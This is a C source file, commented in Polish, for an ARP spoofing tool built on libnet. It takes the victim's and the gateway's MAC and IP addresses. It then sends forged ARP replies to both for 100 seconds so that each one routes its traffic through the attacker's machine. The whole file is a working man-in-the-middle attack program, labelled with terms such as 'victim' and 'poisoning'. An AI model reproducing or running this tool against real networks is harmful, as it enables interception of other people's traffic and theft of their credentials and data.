#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "arpspoof.h"
#include <libnet.h>


int main(int argc, char* argv[]) {

  if(argc != 6 ) {
    printf("Usage: %s <device> <victim MAC> <victim IP> <gate MAC> <gate IP>\n",argv[0]);
    exit(1);
  }
//----------------------------------------------------

  libnet_t* l;
  char errbuf[LIBNET_ERRBUF_SIZE],*device;
  struct libnet_ether_addr* my_mac;
  u_int8_t* gate_mac,*victim_mac;
  u_int32_t victim_ip,gate_ip;

  ETHERhdr eth; // naglowek ethernet
  arphdr_t arp; // naglowek arp

  int bytes,len,time=0;

//-----------------------------------------------------
  device = malloc(sizeof(char)*(strlen(argv[1])+1));
  strcpy(device,argv[1]);

  if( (l = libnet_init(LIBNET_LINK, device, errbuf) ) == NULL) { //LIBNET_LINK ?
    fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
    exit(1);
  }

  //pobierz swoj MAC

  if( (my_mac = libnet_get_hwaddr(l)) == 0 ) { // zaalokuje pamiec ?
    fprintf(stderr, "Couldn't get own MAC address: %s\n", libnet_geterror(l));
    libnet_destroy(l);
    exit(1);
  }

  // wylicz MAC bramy

  if( ( gate_mac=libnet_hex_aton(argv[4],&len)) == 0) {
    fprintf(stderr, "Couldn't get gate MAC address: %s\n", libnet_geterror(l));
    libnet_destroy(l);
    exit(1);
  }

  //wylicz MAC ofiary

  if( ( victim_mac=libnet_hex_aton(argv[2],&len)) == 0) {
    fprintf(stderr, "Couldn't get victim MAC address: %s\n", libnet_geterror(l));
    libnet_destroy(l);
    exit(1);
  }

/*
  eth.ether_type = ETHERTYPE_ARP;
  eth.ether_shost = libnet_hex_aton(my_mac->ether_addr_octet,&len); // moj MAC
  eth.ether_dhost = libnet_hex_aton(argv[4],&len); // MAC bramy
  */
  if( (victim_ip = libnet_name2addr4(l, argv[3], LIBNET_DONT_RESOLVE)) == -1 ) {
    fprintf(stderr, "Error converting IP address.\n");
    libnet_destroy(l);
    exit(1);
  }

  if( (gate_ip = libnet_name2addr4(l, argv[5], LIBNET_DONT_RESOLVE)) == -1 ) {
    fprintf(stderr, "Error converting IP address.\n");
    libnet_destroy(l);
    exit(1);
  }

  //potomek zatruje ofiare
  if(fork() == 0) {
    /*
    informujemy ofiare ze brama o gate_ip znajduje sie pod moim MAC-em
    */

    //najpierw ARP
    if( libnet_autobuild_arp(ARPOP_REPLY, my_mac->ether_addr_octet,
    (u_int8_t*)(&gate_ip), victim_mac, (u_int8_t*)(&victim_ip), l) == -1) { // czy nie trzeba zamiast autobuild uzyc build ?
      fprintf(stderr, "Error building ARP header: %s\n",libnet_geterror(l));
      libnet_destroy(l);
      exit(1);
    }
    //teraz ethernet
    if ( libnet_autobuild_ethernet(victim_mac, ETHERTYPE_ARP, l) == -1 ) {
      fprintf(stderr, "Error building Ethernet header: %s\n",libnet_geterror(l));
      libnet_destroy(l);
      exit(1);
    }

    //zatruwanie przez 100 sekund
    while(time < 100) {
      if( (bytes = libnet_write(l)) == -1 ) {
	fprintf(stderr, "Error writing packet: %s\n",libnet_geterror(l));
	libnet_destroy(l);
	exit(1);
      }
      sleep(5);
      time += 5;
    }
    libnet_destroy(l);
    exit(0);
  }
  sleep(1);
  //a watek glowny brame

  //najpierw ARP header
  /*
  informujemy brame ze ofiara o victim_ip znajduje sie pod moim MAC-em
  */
  if ( libnet_autobuild_arp(ARPOP_REPLY, my_mac->ether_addr_octet,
  (u_int8_t*)(&victim_ip), gate_mac, (u_int8_t*)(&gate_ip), l) == -1) { // czy nie trzeba zamiast autobuild uzyc build ?
    fprintf(stderr, "Error building ARP header: %s\n",libnet_geterror(l));
    libnet_destroy(l);
    exit(1);
  }
  // teraz ethernet header
  if ( libnet_autobuild_ethernet(gate_mac, ETHERTYPE_ARP, l) == -1 ) {
    fprintf(stderr, "Error building Ethernet header: %s\n",libnet_geterror(l));
    libnet_destroy(l);
    exit(1);
  }

  //zatruwanie przez 100 sekund
  while(time < 100) {
    if( (bytes = libnet_write(l)) == -1 ) {
      fprintf(stderr, "Error writing packet: %s\n",libnet_geterror(l));
      libnet_destroy(l);
      exit(1);
    }
    sleep(5);
    time += 5;
  }

  libnet_destroy(l);

  return 0;
}
